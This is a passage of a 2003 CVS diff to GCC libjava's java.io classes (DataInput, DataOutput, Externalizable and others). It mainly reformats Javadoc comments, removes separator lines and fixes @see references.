stream. It - * returns the actual number of chars skipped, which may be less than the - * requested amount. - *

          - * This method first discards chars in the buffer, then calls the - * skip method on the underlying stream to skip the - * remaining chars. - * - * @param num_chars The requested number of chars to skip - * - * @return The actual number of chars skipped. - * - * @exception IOException If an error occurs - */ + * This method skips the specified number of chars in the stream. It + * returns the actual number of chars skipped, which may be less than the + * requested amount. + *

          + * This method first discards chars in the buffer, then calls the + * skip method on the underlying stream to skip the + * remaining chars. + * + * @param num_chars The requested number of chars to skip + * + * @return The actual number of chars skipped. + * + * @exception IOException If an error occurs + */ public long skip(long count) throws IOException { synchronized (lock) Index: java/io/ByteArrayOutputStream.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/ByteArrayOutputStream.java,v retrieving revision 1.10 diff -u -r1.10 ByteArrayOutputStream.java --- java/io/ByteArrayOutputStream.java 18 Mar 2003 06:00:25 -0000 1.10 +++ java/io/ByteArrayOutputStream.java 23 Mar 2003 18:32:02 -0000 @@ -118,7 +118,7 @@ * * @return The number of bytes in the internal buffer * - * @see reset + * @see #reset() */ public int size () { Index: java/io/CharArrayWriter.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/CharArrayWriter.java,v retrieving revision 1.7 diff -u -r1.7 CharArrayWriter.java --- java/io/CharArrayWriter.java 2 Dec 2002 21:30:13 -0000 1.7 +++ java/io/CharArrayWriter.java 23 Mar 2003 18:32:02 -0000 @@ -130,7 +130,7 @@ * * @return The number of chars in the internal buffer * - * @see reset + * @see #reset() */ public int size () { Index: java/io/DataInput.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/DataInput.java,v retrieving revision 1.6 diff -u -r1.6 DataInput.java --- java/io/DataInput.java 18 Mar 2003 07:50:19 -0000 1.6 +++ java/io/DataInput.java 23 Mar 2003 18:32:02 -0000 @@ -44,431 +44,403 @@ * Status: Believed complete and correct. */ /** - * This interface is implemented by classes that can data from streams - * into Java primitive types. - * - * @author Aaron M. Renn (arenn@urbanophile.com) - * @author Warren Levy - */ + * This interface is implemented by classes that can data from streams + * into Java primitive types. + * + * @author Aaron M. Renn (arenn@urbanophile.com) + * @author Warren Levy + */ public interface DataInput { /** - * This method reads a Java boolean value from an input stream. It does - * so by reading a single byte of data. If that byte is zero, then the - * value returned is false. If the byte is non-zero, then - * the value returned is true. - *

          - * This method can read a boolean written by an object - * implementing the writeBoolean() method in the - * DataOutput interface. - * - * @return The boolean value read - * - * @exception EOFException If end of file is reached before - * reading the boolean - * @exception IOException If any other error occurs - */ + * This method reads a Java boolean value from an input stream. It does + * so by reading a single byte of data. If that byte is zero, then the + * value returned is false. If the byte is non-zero, then + * the value returned is true. + *

          + * This method can read a boolean written by an object + * implementing the writeBoolean() method in the + * DataOutput interface. + * + * @return The boolean value read + * + * @exception EOFException If end of file is reached before + * reading the boolean + * @exception IOException If any other error occurs + */ boolean readBoolean() throws EOFException, IOException; - /*************************************************************************/ - /** - * This method reads a Java byte value from an input stream. The value - * is in the range of -128 to 127. - *

          - * This method can read a byte written by an object - * implementing the - * writeByte() method in the DataOutput interface. - *

          - * @return The byte value read - * - * @exception EOFException If end of file is reached before reading the byte - * @exception IOException If any other error occurs - * - * @see DataOutput - */ + * This method reads a Java byte value from an input stream. The value + * is in the range of -128 to 127. + *

          + * This method can read a byte written by an object + * implementing the + * writeByte() method in the DataOutput interface. + *

          + * @return The byte value read + * + * @exception EOFException If end of file is reached before reading the byte + * @exception IOException If any other error occurs + * + * @see DataOutput + */ byte readByte() throws EOFException, IOException; - /*************************************************************************/ - /** - * This method reads 8 unsigned bits into a Java int value from - * the stream. The value returned is in the range of 0 to 255. - *

          - * This method can read an unsigned byte written by an object - * implementing the - * writeUnsignedByte() method in the DataOutput - * interface. - * - * @return The unsigned bytes value read as a Java int. - * - * @exception EOFException If end of file is reached before reading the value - * @exception IOException If any other error occurs - * - * @see DataOutput - */ + * This method reads 8 unsigned bits into a Java int value from + * the stream. The value returned is in the range of 0 to 255. + *

          + * This method can read an unsigned byte written by an object + * implementing the + * writeUnsignedByte() method in the DataOutput + * interface. + * + * @return The unsigned bytes value read as a Java int. + * + * @exception EOFException If end of file is reached before reading the value + * @exception IOException If any other error occurs + * + * @see DataOutput + */ int readUnsignedByte() throws EOFException, IOException; - /*************************************************************************/ - /** - * This method reads a Java char value from an input stream. - * It operates by reading two bytes from the stream and converting them to - * a single 16-bit Java char. The two bytes are stored most - * significant byte first (i.e., "big endian") regardless of the native - * host byte ordering. - *

          - * As an example, if byte1 and byte2 represent the - * first and second byte read from the stream respectively, they will be - * transformed to a char in the following manner: - *

          - * (char)((byte1 << 8) + byte2) - *

          - * This method can read a char written by an object implementing - * the - * writeChar() method in the DataOutput interface. - * - * @return The char value read - * - * @exception EOFException If end of file is reached before reading the char - * @exception IOException If any other error occurs - * - * @see DataOutput - */ + * This method reads a Java char value from an input stream. + * It operates by reading two bytes from the stream and converting them to + * a single 16-bit Java char. The two bytes are stored most + * significant byte first (i.e., "big endian") regardless of the native + * host byte ordering. + *

          + * As an example, if byte1 and byte2 represent the + * first and second byte read from the stream respectively, they will be + * transformed to a char in the following manner: + *

          + * (char)((byte1 << 8) + byte2) + *

          + * This method can read a char written by an object implementing + * the + * writeChar() method in the DataOutput interface. + * + * @return The char value read + * + * @exception EOFException If end of file is reached before reading the char + * @exception IOException If any other error occurs + * + * @see DataOutput + */ char readChar() throws EOFException, IOException; - /*************************************************************************/ - /** - * This method reads a signed 16-bit value into a Java in from the stream. - * It operates by reading two bytes from the stream and converting them to - * a single 16-bit Java short. The two bytes are stored most - * significant byte first (i.e., "big endian") regardless of the native - * host byte ordering. - *

          - * As an example, if byte1 and byte2 represent the - * first and second byte read from the stream respectively, they will be - * transformed to a short in the following manner: - *

          - * (short)((byte1 << 8) + byte2) - *

          - * The value returned is in the range of -32768 to 32767. - *

          - * This method can read a short written by an object - * implementing - * the writeShort() method in the DataOutput - * interface. - * - * @return The short value read - * - * @exception EOFException If end of file is reached before reading the value - * @exception IOException If any other error occurs - * - * @see DataOutput - */ + * This method reads a signed 16-bit value into a Java in from the stream. + * It operates by reading two bytes from the stream and converting them to + * a single 16-bit Java short. The two bytes are stored most + * significant byte first (i.e., "big endian") regardless of the native + * host byte ordering. + *

          + * As an example, if byte1 and byte2 represent the + * first and second byte read from the stream respectively, they will be + * transformed to a short in the following manner: + *

          + * (short)((byte1 << 8) + byte2) + *

          + * The value returned is in the range of -32768 to 32767. + *

          + * This method can read a short written by an object + * implementing + * the writeShort() method in the DataOutput + * interface. + * + * @return The short value read + * + * @exception EOFException If end of file is reached before reading the value + * @exception IOException If any other error occurs + * + * @see DataOutput + */ short readShort() throws EOFException, IOException; - /*************************************************************************/ - /** - * This method reads 16 unsigned bits into a Java int value from the stream. - * It operates by reading two bytes from the stream and converting them to - * a single Java int. The two bytes are stored most - * significant byte first (i.e., "big endian") regardless of the native - * host byte ordering. - *

          - * As an example, if byte1 and byte2 represent the - * first and second byte read from the stream respectively, they will be - * transformed to an int in the following manner: - *

          - * (int)((byte1 << 8) + byte2) - *

          - * The value returned is in the range of 0 to 65535. - *

          - * This method can read an unsigned short written by an object implementing - * the writeUnsignedShort() method in the - * DataOutput - * interface. - * - * @return The unsigned short value read as a Java int. - * - * @exception EOFException If end of file is reached before reading - * the value - * @exception IOException If any other error occurs - */ + * This method reads 16 unsigned bits into a Java int value from the stream. + * It operates by reading two bytes from the stream and converting them to + * a single Java int. The two bytes are stored most + * significant byte first (i.e., "big endian") regardless of the native + * host byte ordering. + *

          + * As an example, if byte1 and byte2 represent the + * first and second byte read from the stream respectively, they will be + * transformed to an int in the following manner: + *

          + * (int)((byte1 << 8) + byte2) + *

          + * The value returned is in the range of 0 to 65535. + *

          + * This method can read an unsigned short written by an object implementing + * the writeUnsignedShort() method in the + * DataOutput + * interface. + * + * @return The unsigned short value read as a Java int. + * + * @exception EOFException If end of file is reached before reading + * the value + * @exception IOException If any other error occurs + */ int readUnsignedShort() throws EOFException, IOException; - /*************************************************************************/ - /** - * This method reads a Java int value from an input stream - * It operates by reading four bytes from the stream and converting them to - * a single Java int. The bytes are stored most - * significant byte first (i.e., "big endian") regardless of the native - * host byte ordering. - *

          - * As an example, if byte1 through byte4 represent - * the first four bytes read from the stream, they will be - * transformed to an int in the following manner: - *

          - * (int)((byte1 << 24) + (byte2 << 16) + (byte3 << 8) + byte4)) - *

          - * The value returned is in the range of -2147483648 to 2147483647. - *

          - * This method can read an int written by an object - * implementing the writeInt() method in the - * DataOutput interface. - * - * @return The int value read - * - * @exception EOFException If end of file is reached before reading the int - * @exception IOException If any other error occurs - * - * @see DataOutput - */ + * This method reads a Java int value from an input stream + * It operates by reading four bytes from the stream and converting them to + * a single Java int. The bytes are stored most + * significant byte first (i.e., "big endian") regardless of the native + * host byte ordering. + *

          + * As an example, if byte1 through byte4 represent + * the first four bytes read from the stream, they will be + * transformed to an int in the following manner: + *

          + * (int)((byte1 << 24) + (byte2 << 16) + (byte3 << 8) + byte4)) + *

          + * The value returned is in the range of -2147483648 to 2147483647. + *

          + * This method can read an int written by an object + * implementing the writeInt() method in the + * DataOutput interface. + * + * @return The int value read + * + * @exception EOFException If end of file is reached before reading the int + * @exception IOException If any other error occurs + * + * @see DataOutput + */ int readInt() throws EOFException, IOException; - /*************************************************************************/ - /** - * This method reads a Java long value from an input stream - * It operates by reading eight bytes from the stream and converting them to - * a single Java long. The bytes are stored most - * significant byte first (i.e., "big endian") regardless of the native - * host byte ordering. - *

          - * As an example, if byte1 through byte8 represent - * the first eight bytes read from the stream, they will be - * transformed to an long in the following manner: - *

          - * (long)((byte1 << 56) + (byte2 << 48) + (byte3 << 40) + - * (byte4 << 32) + (byte5 << 24) + (byte6 << 16) + (byte7 << 8) + byte9)) - * - *

          - * The value returned is in the range of -9223372036854775808 to - * 9223372036854775807. - *

          - * This method can read an long written by an object - * implementing the writeLong() method in the - * DataOutput interface. - * - * @return The long value read - * - * @exception EOFException If end of file is reached before reading the long - * @exception IOException If any other error occurs - * - * @see DataOutput - */ + * This method reads a Java long value from an input stream + * It operates by reading eight bytes from the stream and converting them to + * a single Java long. The bytes are stored most + * significant byte first (i.e., "big endian") regardless of the native + * host byte ordering. + *

          + * As an example, if byte1 through byte8 represent + * the first eight bytes read from the stream, they will be + * transformed to an long in the following manner: + *

          + * (long)((byte1 << 56) + (byte2 << 48) + (byte3 << 40) + + * (byte4 << 32) + (byte5 << 24) + (byte6 << 16) + (byte7 << 8) + byte9)) + * + *

          + * The value returned is in the range of -9223372036854775808 to + * 9223372036854775807. + *

          + * This method can read an long written by an object + * implementing the writeLong() method in the + * DataOutput interface. + * + * @return The long value read + * + * @exception EOFException If end of file is reached before reading the long + * @exception IOException If any other error occurs + * + * @see DataOutput + */ long readLong() throws EOFException, IOException; - /*************************************************************************/ - /** - * This method reads a Java float value from an input stream. It operates - * by first reading an int value from the stream by calling the - * readInt() method in this interface, then converts that - * int to a float using the - * intBitsToFloat method in the class - * java.lang.Float. - *

          - * This method can read a float written by an object - * implementing - * the writeFloat() method in the DataOutput - * interface. - * - * @return The float value read - * - * @exception EOFException If end of file is reached before reading the - * float - * @exception IOException If any other error occurs - * - * @see java.lang.Float - * @see DataOutput - */ + * This method reads a Java float value from an input stream. It operates + * by first reading an int value from the stream by calling the + * readInt() method in this interface, then converts that + * int to a float using the + * intBitsToFloat method in the class + * java.lang.Float. + *

          + * This method can read a float written by an object + * implementing + * the writeFloat() method in the DataOutput + * interface. + * + * @return The float value read + * + * @exception EOFException If end of file is reached before reading the + * float + * @exception IOException If any other error occurs + * + * @see java.lang.Float + * @see DataOutput + */ float readFloat() throws EOFException, IOException; - /*************************************************************************/ - /** - * This method reads a Java double value from an input stream. It operates - * by first reading a long value from the stream by calling the - * readLong() method in this interface, then converts that - * long to a double using the - * longBitsToDouble method in the class - * java.lang.Double. - *

          - * This method can read a double written by an object - * implementing the writeDouble() method in the - * DataOutput interface. - * - * @return The double value read - * - * @exception EOFException If end of file is reached before reading the - * double - * @exception IOException If any other error occurs - * - * @see java.lang.Double - * @see DataOutput - */ + * This method reads a Java double value from an input stream. It operates + * by first reading a long value from the stream by calling the + * readLong() method in this interface, then converts that + * long to a double using the + * longBitsToDouble method in the class + * java.lang.Double. + *

          + * This method can read a double written by an object + * implementing the writeDouble() method in the + * DataOutput interface. + * + * @return The double value read + * + * @exception EOFException If end of file is reached before reading the + * double + * @exception IOException If any other error occurs + * + * @see java.lang.Double + * @see DataOutput + */ double readDouble() throws EOFException, IOException; - /*************************************************************************/ - /** - * This method reads the next line of text data from an input stream. - * It operates by reading bytes and converting those bytes to - * char - * values by treating the byte read as the low eight bits of the - * char and using 0 as the high eight bits. Because of this, - * it does not support the full 16-bit Unicode character set. - *

          - * The reading of bytes ends when either the end of file or a line terminator - * is encountered. The bytes read are then returned as a - * String. - * A line terminator is a byte sequence consisting of either - * \r, \n or \r\n. These termination - * charaters are discarded and are not returned as part of the string. - *

          - * This method can read data that was written by an object implementing the - * writeLine() method in DataOutput. - * - * @return The line read as a String - * - * @exception IOException If an error occurs - * - * @see DataOutput - */ + * This method reads the next line of text data from an input stream. + * It operates by reading bytes and converting those bytes to + * char + * values by treating the byte read as the low eight bits of the + * char and using 0 as the high eight bits. Because of this, + * it does not support the full 16-bit Unicode character set. + *

          + * The reading of bytes ends when either the end of file or a line terminator + * is encountered. The bytes read are then returned as a + * String. + * A line terminator is a byte sequence consisting of either + * \r, \n or \r\n. These termination + * charaters are discarded and are not returned as part of the string. + *

          + * This method can read data that was written by an object implementing the + * writeLine() method in DataOutput. + * + * @return The line read as a String + * + * @exception IOException If an error occurs + * + * @see DataOutput + */ String readLine() throws IOException; - /*************************************************************************/ - /** - * This method reads a String from an input stream that is - * encoded in a modified UTF-8 format. This format has a leading two byte - * sequence that contains the remaining number of bytes to read. - * This two byte - * sequence is read using the readUnsignedShort() method of this - * interface. - * - * After the number of remaining bytes have been determined, these bytes - * are read an transformed into char values. These - * char values are encoded in the stream using either a one, - * two, or three byte format. - * The particular format in use can be determined by examining the first - * byte read. - *

          - * If the first byte has a high order bit of 0, then - * that character consists on only one byte. This character value consists - * of seven bits that are at positions 0 through 6 of the byte. As an - * example, if byte1 is the byte read from the stream, it would - * be converted to a char like so: - *

          - * (char)byte1 - *

          - * If the first byte has 110 as its high order bits, then the - * character consists of two bytes. The bits that make up the character - * value are in positions 0 through 4 of the first byte and bit positions - * 0 through 5 of the second byte. (The second byte should have - * 10 as its high order bits). These values are in most significant - * byte first (i.e., "big endian") order. - *

          - * As an example, if byte1 and byte2 are the first - * two bytes read respectively, and the high order bits of them match the - * patterns which indicate a two byte character encoding, then they would be - * converted to a Java char like so: - *

          - * (char)(((byte1 & 0x1F) << 6) + (byte2 & 0x3F)) - *

          - * If the first byte has a 1110 as its high order bits, then the - * character consists of three bytes. The bits that make up the character - * value are in positions 0 through 3 of the first byte and bit positions - * 0 through 5 of the other two bytes. (The second and third bytes should - * have 10 as their high order bits). These values are in most - * significant byte first (i.e., "big endian") order. - *

          - * As an example, if byte1, byte2, and - * byte3 are the three bytes read, and the high order bits of - * them match the patterns which indicate a three byte character encoding, - * then they would be converted to a Java char like so: - * - * - * (char)(((byte1 & 0x0F) << 12) + ((byte2 & 0x3F) + (byte3 & 0x3F)) - * - * - * Note that all characters are encoded in the method that requires the - * fewest number of bytes with the exception of the character with the - * value of \u0000 which is encoded as two bytes. - * This is a modification of the UTF standard used to prevent C language - * style NUL values from appearing in the byte stream. - *

          - * This method can read data that was written by an object implementing the - * writeUTF() method in DataOutput. - * - * @returns The String read - * - * @exception EOFException If end of file is reached before reading the - * String - * @exception UTFDataFormatException If the data is not in UTF-8 format - * @exception IOException If any other error occurs - * - * @see DataOutput - */ + * This method reads a String from an input stream that is + * encoded in a modified UTF-8 format. This format has a leading two byte + * sequence that contains the remaining number of bytes to read. + * This two byte + * sequence is read using the readUnsignedShort() method of this + * interface. + * + * After the number of remaining bytes have been determined, these bytes + * are read an transformed into char values. These + * char values are encoded in the stream using either a one, + * two, or three byte format. + * The particular format in use can be determined by examining the first + * byte read. + *

          + * If the first byte has a high order bit of 0, then + * that character consists on only one byte. This character value consists + * of seven bits that are at positions 0 through 6 of the byte. As an + * example, if byte1 is the byte read from the stream, it would + * be converted to a char like so: + *

          + * (char)byte1 + *

          + * If the first byte has 110 as its high order bits, then the + * character consists of two bytes. The bits that make up the character + * value are in positions 0 through 4 of the first byte and bit positions + * 0 through 5 of the second byte. (The second byte should have + * 10 as its high order bits). These values are in most significant + * byte first (i.e., "big endian") order. + *

          + * As an example, if byte1 and byte2 are the first + * two bytes read respectively, and the high order bits of them match the + * patterns which indicate a two byte character encoding, then they would be + * converted to a Java char like so: + *

          + * (char)(((byte1 & 0x1F) << 6) + (byte2 & 0x3F)) + *

          + * If the first byte has a 1110 as its high order bits, then the + * character consists of three bytes. The bits that make up the character + * value are in positions 0 through 3 of the first byte and bit positions + * 0 through 5 of the other two bytes. (The second and third bytes should + * have 10 as their high order bits). These values are in most + * significant byte first (i.e., "big endian") order. + *

          + * As an example, if byte1, byte2, and + * byte3 are the three bytes read, and the high order bits of + * them match the patterns which indicate a three byte character encoding, + * then they would be converted to a Java char like so: + * + * + * (char)(((byte1 & 0x0F) << 12) + ((byte2 & 0x3F) + (byte3 & 0x3F)) + * + * + * Note that all characters are encoded in the method that requires the + * fewest number of bytes with the exception of the character with the + * value of \u0000 which is encoded as two bytes. + * This is a modification of the UTF standard used to prevent C language + * style NUL values from appearing in the byte stream. + *

          + * This method can read data that was written by an object implementing the + * writeUTF() method in DataOutput. + * + * @returns The String read + * + * @exception EOFException If end of file is reached before reading the + * String + * @exception UTFDataFormatException If the data is not in UTF-8 format + * @exception IOException If any other error occurs + * + * @see DataOutput + */ String readUTF() throws EOFException, UTFDataFormatException, IOException; - /*************************************************************************/ - /** - * This method reads raw bytes into the passed array until the array is - * full. Note that this method blocks until the data is available and - * throws an exception if there is not enough data left in the stream to - * fill the buffer - * - * @param buf The buffer into which to read the data - * - * @exception EOFException If end of file is reached before filling the - * buffer - * @exception IOException If any other error occurs - */ + * This method reads raw bytes into the passed array until the array is + * full. Note that this method blocks until the data is available and + * throws an exception if there is not enough data left in the stream to + * fill the buffer + * + * @param buf The buffer into which to read the data + * + * @exception EOFException If end of file is reached before filling the + * buffer + * @exception IOException If any other error occurs + */ void readFully(byte[] buf) throws EOFException, IOException; - /*************************************************************************/ - /** - * This method reads raw bytes into the passed array buf - * starting - * offset bytes into the buffer. The number of bytes read - * will be - * exactly len. Note that this method blocks until the data is - * available and * throws an exception if there is not enough data left in - * the stream to read len bytes. - * - * @param buf The buffer into which to read the data - * @param offset The offset into the buffer to start storing data - * @param len The number of bytes to read into the buffer - * - * @exception EOFException If end of file is reached before filling the - * buffer - * @exception IOException If any other error occurs - */ + * This method reads raw bytes into the passed array buf + * starting + * offset bytes into the buffer. The number of bytes read + * will be + * exactly len. Note that this method blocks until the data is + * available and * throws an exception if there is not enough data left in + * the stream to read len bytes. + * + * @param buf The buffer into which to read the data + * @param offset The offset into the buffer to start storing data + * @param len The number of bytes to read into the buffer + * + * @exception EOFException If end of file is reached before filling the + * buffer + * @exception IOException If any other error occurs + */ void readFully(byte[] buf, int offset, int len) throws EOFException, IOException; - /*************************************************************************/ - /** - * This method skips and discards the specified number of bytes in an - * input stream - * - * @param num_bytes The number of bytes to skip - * - * @return The number of bytes actually skipped, which will always be - * num_bytes - * - * @exception EOFException If end of file is reached before all bytes can be - * skipped - * @exception IOException If any other error occurs - */ + * This method skips and discards the specified number of bytes in an + * input stream + * + * @param num_bytes The number of bytes to skip + * + * @return The number of bytes actually skipped, which will always be + * num_bytes + * + * @exception EOFException If end of file is reached before all bytes can be + * skipped + * @exception IOException If any other error occurs + */ int skipBytes(int n) throws EOFException, IOException; } // interface DataInput Index: java/io/DataOutput.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/DataOutput.java,v retrieving revision 1.6 diff -u -r1.6 DataOutput.java --- java/io/DataOutput.java 18 Mar 2003 07:50:19 -0000 1.6 +++ java/io/DataOutput.java 23 Mar 2003 18:32:02 -0000 @@ -44,173 +44,147 @@ */ /** - * This interface is implemented by classes that can wrte data to streams - * from Java primitive types. - * - * @author Aaron M. Renn (arenn@urbanophile.com) - * @author Tom Tromey - */ + * This interface is implemented by classes that can wrte data to streams + * from Java primitive types. + * + * @author Aaron M. Renn (arenn@urbanophile.com) + * @author Tom Tromey + */ public interface DataOutput { /** - * This method writes a Java boolean value to an output stream - * - * @param value The boolean value to write - * - * @exception IOException If an error occurs - */ + * This method writes a Java boolean value to an output stream + * + * @param value The boolean value to write + * + * @exception IOException If an error occurs + */ void writeBoolean(boolean value) throws IOException; - /*************************************************************************/ - /** - * This method writes a Java byte value to an output stream - * - * @param value The int value to write - * - * @exception IOException If an error occurs - */ + * This method writes a Java byte value to an output stream + * + * @param value The int value to write + * + * @exception IOException If an error occurs + */ void writeByte(int value) throws IOException; - /*************************************************************************/ - /** - * This method writes a Java char value to an output stream - * - * @param value The char value to write - * - * @exception IOException If an error occurs - */ + * This method writes a Java char value to an output stream + * + * @param value The char value to write + * + * @exception IOException If an error occurs + */ void writeChar(int value) throws IOException; - /*************************************************************************/ - /** - * This method writes a Java int value to an output stream as a 16 bit value - * - * @param value The int value to write as a 16-bit value - * - * @exception IOException If an error occurs - */ + * This method writes a Java int value to an output stream as a 16 bit value + * + * @param value The int value to write as a 16-bit value + * + * @exception IOException If an error occurs + */ void writeShort(int value) throws IOException; - /*************************************************************************/ - /** - * This method writes a Java int value to an output stream - * - * @param value The int value to write - * - * @exception IOException If an error occurs - */ + * This method writes a Java int value to an output stream + * + * @param value The int value to write + * + * @exception IOException If an error occurs + */ void writeInt(int value) throws IOException; - /*************************************************************************/ - /** - * This method writes a Java long value to an output stream - * - * @param value The long value to write - * - * @exception IOException If an error occurs - */ + * This method writes a Java long value to an output stream + * + * @param value The long value to write + * + * @exception IOException If an error occurs + */ void writeLong(long value) throws IOException; - /*************************************************************************/ - /** - * This method writes a Java float value to an output stream - * - * @param value The float value to write - * - * @exception IOException If an error occurs - */ + * This method writes a Java float value to an output stream + * + * @param value The float value to write + * + * @exception IOException If an error occurs + */ void writeFloat(float value) throws IOException; - /*************************************************************************/ - /** - * This method writes a Java double value to an output stream - * - * @param value The double value to write - * - * @exception IOException If any other error occurs - */ + * This method writes a Java double value to an output stream + * + * @param value The double value to write + * + * @exception IOException If any other error occurs + */ void writeDouble(double value) throws IOException; - /*************************************************************************/ - /** - * This method writes a String to an output stream as an array of bytes - * - * @param value The String to write - * - * @exception IOException If an error occurs - */ + * This method writes a String to an output stream as an array of bytes + * + * @param value The String to write + * + * @exception IOException If an error occurs + */ void writeBytes(String value) throws IOException; - /*************************************************************************/ - /** - * This method writes a String to an output stream as an array of char's - * - * @param value The String to write - * - * @exception IOException If an error occurs - */ + * This method writes a String to an output stream as an array of char's + * + * @param value The String to write + * + * @exception IOException If an error occurs + */ void writeChars(String value) throws IOException; - /*************************************************************************/ - /** - * This method writes a String to an output stream encoded in - * UTF-8 format. - * - * @param value The String to write - * - * @exception IOException If an error occurs - */ + * This method writes a String to an output stream encoded in + * UTF-8 format. + * + * @param value The String to write + * + * @exception IOException If an error occurs + */ void writeUTF(String value) throws IOException; - /*************************************************************************/ - /** - * This method writes an 8-bit value (passed into the method as a Java - * int) to an output stream. - * - * @param value The byte to write to the output stream - * - * @exception IOException If an error occurs - */ + * This method writes an 8-bit value (passed into the method as a Java + * int) to an output stream. + * + * @param value The byte to write to the output stream + * + * @exception IOException If an error occurs + */ void write(int value) throws IOException; - /*************************************************************************/ - /** - * This method writes the raw byte array passed in to the output stream. - * - * @param buf The byte array to write - * - * @exception IOException If an error occurs - */ + * This method writes the raw byte array passed in to the output stream. + * + * @param buf The byte array to write + * + * @exception IOException If an error occurs + */ void write(byte[] buf) throws IOException; - /*************************************************************************/ - /** - * This method writes raw bytes from the passed array buf - * starting - * offset bytes into the buffer. The number of bytes - * written will be * exactly len. - * - * @param buf The buffer from which to write the data - * @param offset The offset into the buffer to start writing data from - * @param len The number of bytes to write from the buffer to the output - * stream - * - * @exception IOException If any other error occurs - */ + * This method writes raw bytes from the passed array buf + * starting + * offset bytes into the buffer. The number of bytes + * written will be * exactly len. + * + * @param buf The buffer from which to write the data + * @param offset The offset into the buffer to start writing data from + * @param len The number of bytes to write from the buffer to the output + * stream + * + * @exception IOException If any other error occurs + */ void write(byte[] buf, int offset, int len) throws IOException; } // interface DataOutput Index: java/io/DataOutputStream.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/DataOutputStream.java,v retrieving revision 1.5 diff -u -r1.5 DataOutputStream.java --- java/io/DataOutputStream.java 20 Mar 2003 07:47:01 -0000 1.5 +++ java/io/DataOutputStream.java 23 Mar 2003 18:32:02 -0000 @@ -1,5 +1,5 @@ /* DataOutputStream.java -- Writes primitive Java datatypes to streams - Copyright (C) 1998, 1999, 2001, 2003 Free Software Foundation, Inc. + Copyright (C) 1998, 2001, 2003 Free Software Foundation, Inc. This file is part of GNU Classpath. Index: java/io/Externalizable.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/Externalizable.java,v retrieving revision 1.5 diff -u -r1.5 Externalizable.java --- java/io/Externalizable.java 18 Mar 2003 07:50:19 -0000 1.5 +++ java/io/Externalizable.java 23 Mar 2003 18:32:03 -0000 @@ -39,74 +39,72 @@ package java.io; /** - * This interface provides a way that classes can completely control how - * the data of their object instances are written and read to and from - * streams. It has two methods which are used to write the data to a stream - * and to read the data from a stream. The read method must read the data - * in exactly the way it was written by the write method. - *

          - * Note that classes which implement this interface must take into account - * that all superclass data must also be written to the stream as well. - * The class implementing this interface must figure out how to make that - * happen. - *

          - * This interface can be used to provide object persistence. When an - * object is to be stored externally, the writeExternal method is - * called to save state. When the object is restored, an instance is - * created using the default no-argument constructor and the - * readExternal method is used to restore the state. - * - * @author Aaron M. Renn (arenn@urbanophile.com) - */ + * This interface provides a way that classes can completely control how + * the data of their object instances are written and read to and from + * streams. It has two methods which are used to write the data to a stream + * and to read the data from a stream. The read method must read the data + * in exactly the way it was written by the write method. + *

          + * Note that classes which implement this interface must take into account + * that all superclass data must also be written to the stream as well. + * The class implementing this interface must figure out how to make that + * happen. + *

          + * This interface can be used to provide object persistence. When an + * object is to be stored externally, the writeExternal method is + * called to save state. When the object is restored, an instance is + * created using the default no-argument constructor and the + * readExternal method is used to restore the state. + * + * @author Aaron M. Renn (arenn@urbanophile.com) + */ public interface Externalizable extends Serializable { static final long serialVersionUID = -282491828744381764L; /** - * This method restores an object's state by reading in the instance data - * for the object from the passed in stream. Note that this stream is not - * a subclass of InputStream, but rather is a class that - * implements - * the ObjectInput interface. That interface provides a - * mechanism for - * reading in Java data types from a stream. - *

          - * Note that this method must be compatible with writeExternal. - * It must read back the exact same types that were written by that - * method in the exact order they were written. - *

          - * If this method needs to read back an object instance, then the class - * for that object must be found and loaded. If that operation fails, - * then this method throws a ClassNotFoundException - * - * @param in An ObjectInput instance for reading in the object - * state - * - * @exception ClassNotFoundException If the class of an object being - * restored cannot be found - * @exception IOException If any other error occurs - */ + * This method restores an object's state by reading in the instance data + * for the object from the passed in stream. Note that this stream is not + * a subclass of InputStream, but rather is a class that + * implements + * the ObjectInput interface. That interface provides a + * mechanism for + * reading in Java data types from a stream. + *

          + * Note that this method must be compatible with writeExternal. + * It must read back the exact same types that were written by that + * method in the exact order they were written. + *

          + * If this method needs to read back an object instance, then the class + * for that object must be found and loaded. If that operation fails, + * then this method throws a ClassNotFoundException + * + * @param in An ObjectInput instance for reading in the object + * state + * + * @exception ClassNotFoundException If the class of an object being + * restored cannot be found + * @exception IOException If any other error occurs + */ public abstract void readExternal(ObjectInput in) throws ClassNotFoundException, IOException; - /*************************************************************************/ - /** - * This method is responsible for writing the instance data of an object - * to the passed in stream. Note that this stream is not a subclass of - * OutputStream, but rather is a class that implements the - * ObjectOutput interface. That interface provides a - * number of methods - * for writing Java data values to a stream. - *

          - * Not that the implementation of this method must be coordinated with - * the implementation of readExternal. - * - * @param out An ObjectOutput instance for writing the - * object state - * - * @exception IOException If an error occurs - */ + * This method is responsible for writing the instance data of an object + * to the passed in stream. Note that this stream is not a subclass of + * OutputStream, but rather is a class that implements the + * ObjectOutput interface. That interface provides a + * number of methods + * for writing Java data values to a stream. + *

          + * Not that the implementation of this method must be coordinated with + * the implementation of readExternal. + * + * @param out An ObjectOutput instance for writing the + * object state + * + * @exception IOException If an error occurs + */ public abstract void writeExternal(ObjectOutput out) throws IOException; } // interface Externalizable Index: java/io/FileFilter.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/FileFilter.java,v retrieving revision 1.3 diff -u -r1.3 FileFilter.java --- java/io/FileFilter.java 18 Mar 2003 06:00:25 -0000 1.3 +++ java/io/FileFilter.java 23 Mar 2003 18:32:03 -0000 @@ -39,27 +39,27 @@ package java.io; /** - * This interface has one method which is used for filtering pathnames - * returned in a pathname listing. It is currently used by the - * File.listFiles() method. - *

          - * The method in this interface determines if a particular pathname should - * or should not be included in the pathname listing. - * - * @author Aaron M. Renn (arenn@urbanophile.com) - */ + * This interface has one method which is used for filtering pathnames + * returned in a pathname listing. It is currently used by the + * File.listFiles() method. + *

